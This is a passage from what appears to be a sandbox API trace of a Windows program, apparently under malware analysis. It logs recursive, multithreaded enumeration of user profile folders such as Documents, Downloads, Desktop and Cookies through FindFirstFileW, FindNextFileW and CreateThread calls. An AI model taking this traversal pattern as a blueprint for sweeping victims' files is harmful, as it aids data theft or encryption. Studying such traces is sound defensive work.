ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbc16a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0168.227] FindClose (in: hFindFile=0x2f803a0 | out: hFindFile=0x2f803a0) returned 1 [0168.227] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9e430) returned 1 [0168.227] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91560) returned 1 [0168.227] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f916b0) returned 1 [0168.227] RtlExitUserThread (Status=0x0) Thread: id = 1498 os_tid = 0xe44 [0163.983] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x30) returned 0x2f934c8 [0163.983] wcscpy (in: _Dest=0x2f934c8, _Source="C:\\Users\\Default User" | out: _Dest="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0163.983] wcscat (in: _Dest=0x2f934c8, _Source="\\" | out: _Dest="C:\\Users\\Default User\\") returned="C:\\Users\\Default User\\" [0163.983] wcscat (in: _Dest=0x2f934c8, _Source="*" | out: _Dest="C:\\Users\\Default User\\*") returned="C:\\Users\\Default User\\*" [0163.983] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9fd60 [0163.983] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\*", lpFindFileData=0x2f9fd60 | out: lpFindFileData=0x2f9fd60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.983] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9fd60) returned 1 [0163.983] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f934c8) returned 1 [0163.983] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f93180) returned 1 [0163.983] RtlExitUserThread (Status=0x0) Thread: id = 1499 os_tid = 0xe48 [0163.984] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x38) returned 0x2f804a0 [0163.984] wcscpy (in: _Dest=0x2f804a0, _Source="C:\\Users\\Default.migrated" | out: _Dest="C:\\Users\\Default.migrated") returned="C:\\Users\\Default.migrated" [0163.984] wcscat (in: _Dest=0x2f804a0, _Source="\\" | out: _Dest="C:\\Users\\Default.migrated\\") returned="C:\\Users\\Default.migrated\\" [0163.984] wcscat (in: _Dest=0x2f804a0, _Source="*" | out: _Dest="C:\\Users\\Default.migrated\\*") returned="C:\\Users\\Default.migrated\\*" [0163.984] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9fd60 [0163.984] FindFirstFileW (in: lpFileName="C:\\Users\\Default.migrated\\*", lpFindFileData=0x2f9fd60 | out: lpFindFileData=0x2f9fd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xc40864ff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7205420a, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80560 [0163.987] wcscmp (_String1=".", _String2=".") returned 0 [0163.987] FindNextFileW (in: hFindFile=0x2f80560, lpFindFileData=0x2f9fd60 | out: lpFindFileData=0x2f9fd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xc40864ff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7205420a, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.987] wcscmp (_String1="..", _String2=".") returned 1 [0163.987] wcscmp (_String1="..", _String2="..") returned 0 [0163.987] FindNextFileW (in: hFindFile=0x2f80560, lpFindFileData=0x2f9fd60 | out: lpFindFileData=0x2f9fd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7205420a, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7205420a, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0163.987] wcscmp (_String1="AppData", _String2=".") returned 1 [0163.987] wcscmp (_String1="AppData", _String2="..") returned 1 [0163.987] FindNextFileW (in: hFindFile=0x2f80560, lpFindFileData=0x2f9fd60 | out: lpFindFileData=0x2f9fd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4204fb0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5636bd87, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0163.987] wcscmp (_String1="Documents", _String2=".") returned 1 [0163.988] wcscmp (_String1="Documents", _String2="..") returned 1 [0163.988] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x48) returned 0x2fa1450 [0163.988] wcscpy (in: _Dest=0x2fa1450, _Source="C:\\Users\\Default.migrated" | out: _Dest="C:\\Users\\Default.migrated") returned="C:\\Users\\Default.migrated" [0163.988] wcscat (in: _Dest=0x2fa1450, _Source="\\" | out: _Dest="C:\\Users\\Default.migrated\\") returned="C:\\Users\\Default.migrated\\" [0163.988] wcscat (in: _Dest=0x2fa1450, _Source="Documents" | out: _Dest="C:\\Users\\Default.migrated\\Documents") returned="C:\\Users\\Default.migrated\\Documents" [0168.202] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa1450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494 [0168.203] FindNextFileW (in: hFindFile=0x2f80560, lpFindFileData=0x2f9fd60 | out: lpFindFileData=0x2f9fd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4204fb0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5636bd87, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 0 [0168.203] FindClose (in: hFindFile=0x2f80560 | out: hFindFile=0x2f80560) returned 1 [0168.204] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9fd60) returned 1 [0168.204] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f804a0) returned 1 [0168.204] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80360) returned 1 [0168.204] RtlExitUserThread (Status=0x0) Thread: id = 1500 os_tid = 0xe4c [0163.988] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x24) returned 0x2f91590 [0163.988] wcscpy (in: _Dest=0x2f91590, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0163.988] wcscat (in: _Dest=0x2f91590, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0163.988] wcscat (in: _Dest=0x2f91590, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\*") returned="C:\\Users\\FD1HVy\\*" [0163.988] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fa2698 [0163.988] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\*", lpFindFileData=0x2fa2698 | out: lpFindFileData=0x2fa2698*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f805a0 [0163.988] wcscmp (_String1=".", _String2=".") returned 0 [0163.989] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fa2698 | out: lpFindFileData=0x2fa2698*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.989] wcscmp (_String1="..", _String2=".") returned 1 [0163.989] wcscmp (_String1="..", _String2="..") returned 0 [0163.989] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fa2698 | out: lpFindFileData=0x2fa2698*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b5a0677, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b5a0677, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0163.989] wcscmp (_String1="AppData", _String2=".") returned 1 [0163.989] wcscmp (_String1="AppData", _String2="..") returned 1 [0163.989] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fa2698 | out: lpFindFileData=0x2fa2698*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0163.989] wcscmp (_String1="Application Data", _String2=".") returned 1 [0163.989] wcscmp (_String1="Application Data", _String2="..") returned 1 [0163.989] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fa2698 | out: lpFindFileData=0x2fa2698*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd43ecce6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2cb2cd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0163.989] wcscmp (_String1="Contacts", _String2=".") returned 1 [0163.989] wcscmp (_String1="Contacts", _String2="..") returned 1 [0163.989] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x32) returned 0x2f805e0 [0163.989] wcscpy (in: _Dest=0x2f805e0, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0163.989] wcscat (in: _Dest=0x2f805e0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0163.989] wcscat (in: _Dest=0x2f805e0, _Source="Contacts" | out: _Dest="C:\\Users\\FD1HVy\\Contacts") returned="C:\\Users\\FD1HVy\\Contacts" [0168.176] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f805e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x370 [0168.177] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fa2698 | out: lpFindFileData=0x2fa2698*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0168.177] wcscmp (_String1="Cookies", _String2=".") returned 1 [0168.177] wcscmp (_String1="Cookies", _String2="..") returned 1 [0168.177] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x30) returned 0x3013360 [0168.177] wcscpy (in: _Dest=0x3013360, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0168.177] wcscat (in: _Dest=0x3013360, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0168.177] wcscat (in: _Dest=0x3013360, _Source="Cookies" | out: _Dest="C:\\Users\\FD1HVy\\Cookies") returned="C:\\Users\\FD1HVy\\Cookies" [0168.177] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3013360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6cc [0168.178] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fa2698 | out: lpFindFileData=0x2fa2698*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x845b8157, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x845b8157, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0168.178] wcscmp (_String1="Desktop", _String2=".") returned 1 [0168.178] wcscmp (_String1="Desktop", _String2="..") returned 1 [0168.178] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x30) returned 0x30136a8 [0168.178] wcscpy (in: _Dest=0x30136a8, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0168.178] wcscat (in: _Dest=0x30136a8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0168.178] wcscat (in: _Dest=0x30136a8, _Source="Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.178] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x30136a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c8 [0168.178] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fa2698 | out: lpFindFileData=0x2fa2698*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x83422c5e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83422c5e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0168.178] wcscmp (_String1="Documents", _String2=".") returned 1 [0168.178] wcscmp (_String1="Documents", _String2="..") returned 1 [0168.178] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x34) returned 0x2f80660 [0168.178] wcscpy (in: _Dest=0x2f80660, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0168.179] wcscat (in: _Dest=0x2f80660, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0168.179] wcscat (in: _Dest=0x2f80660, _Source="Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0168.179] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f80660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c4 [0168.179] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fa2698 | out: lpFindFileData=0x2fa2698*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc19bd8f2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc19bd8f2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0168.179] wcscmp (_String1="Downloads", _String2=".") returned 1 [0168.179] wcscmp (_String1="Downloads", _String2="..") returned 1 [0168.179] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x34) returned 0x2f80760 [0168.179] wcscpy (in: _Dest=0x2f80760, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0168.179] wcscat (in: _Dest=0x2f80760, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0168.179] wcscat (in: _Dest=0x2f80760, _Source="Downloads" | out: _Dest="C:\\Users\\FD1HVy\\Downloads") returned="C:\\Users\\FD1HVy\\Downloads" [0168.180] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f80760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c0 [0168.180] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fa2698 | out: lpFindFileData=0x2fa2698*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x82f380eb, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82f380eb, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0168.180] wcscmp (_String1="Favorites", _String2=".") returned 1 [0168.180] wcscmp (_String1="Favorites", _String2="..") returned 1 [0168.180] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x34) returned 0x2f80620 [0168.180] wcscpy (in: _Dest=0x2f80620, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0168.180] wcscat (in: _Dest=0x2f80620, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0168.180] wcscat (in: _Dest=0x2f80620, _Source="Favorites" | out: _Dest="C:\\Users\\FD1HVy\\Favorites") returned="C:\\Users\\FD1HVy\\Favorites" [0168.180] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f80620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6bc [0168.181] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fa2698 | out: lpFindFileData=0x2fa2698*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9463e5c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0168.181] wcscmp (_String1="Links", _String2=".") returned 1 [0168.181] wcscmp (_String1="Links", _String2="..") returned 1 [0168.181] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x2c) returned 0x30136e0 [0168.181] wcscpy (in: _Dest=0x30136e0, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0168.181] wcscat (in: _Dest=0x30136e0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0168.181] wcscat (in: _Dest=0x30136e0, _Source="Links" | out: _Dest="C:\\Users\\FD1HVy\\Links") returned="C:\\Users\\FD1HVy\\Links" [0168.181] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x30136e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b8 [0168.182] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fa2698 | out: lpFindFileData=0x2fa2698*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0168.182] wcscmp (_String1="Local Settings", _String2=".") returned 1 [0168.182] wcscmp (_String1="Local Settings", _String2="..") returned 1 [0168.182] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3e) returned 0x2f877d0 [0168.182] wcscpy (in: _Dest=0x2f877d0, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0168.182] wcscat (in: _Dest=0x2f877d0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0168.182] wcscat (in: _Dest=0x2f877d0, _Source="Local Settings" | out: _Dest="C:\\Users\\FD1HVy\\Local Settings") returned="C:\\Users\\FD1HVy\\Local Settings" [0168.182] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f877d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b4 [0168.183] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fa2698 | out: lpFindFileData=0x2fa2698*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x82eeb9ae, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82eeb9ae, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0168.183] wcscmp (_String1="Music", _String2=".") returned 1 [0168.183] wcscmp (_String1="Music", _String2="..") returned 1 [0168.183] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x2c) returned 0x3013328 [0168.183] wcscpy (in: _Dest=0x3013328, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0168.183] wcscat (in: _Dest=0x3013328, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0168.183] wcscat (in: _Dest=0x3013328, _Source="Music" | out: _Dest="C:\\Users\\FD1HVy\\Music") returned="C:\\Users\\FD1HVy\\Music" [0168.183] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3013328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b0 [0168.184] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fa2698 | out: lpFindFileData=0x2fa2698*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0168.184] wcscmp (_String1="My Documents", _String2=".") returned 1 [0168.184] wcscmp (_String1="My Documents", _String2="..") returned 1 [0168.184] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2f87668 [0168.184] wcscpy (in: _Dest=0x2f87668, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0168.184] wcscat (in: _Dest=0x2f87668, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0168.184] wcscat (in: _Dest=0x2f87668, _Source="My Documents" | out: _Dest="C:\\Users\\FD1HVy\\My Documents") returned="C:\\Users\\FD1HVy\\My Documents" [0168.184] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87668, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ac [0168.185] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fa2698 | out: lpFindFileData=0x2fa2698*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0168.185] wcscmp (_String1="NetHood", _String2=".") returned 1 [0168.185] wcscmp (_String1="NetHood", _String2="..") returned 1 [0168.185] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x30) returned 0x3013398 [0168.185] wcscpy (in: _Dest=0x3013398, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0168.185] wcscat (in: _Dest=0x3013398, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0168.185] wcscat (in: _Dest=0x3013398, _Source="NetHood" | out: _Dest="C:\\Users\\FD1HVy\\NetHood") returned="C:\\Users\\FD1HVy\\NetHood" [0168.185] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3013398, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a8 [0168.186] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fa2698 | out: lpFindFileData=0x2fa2698*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa9c141bf, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, 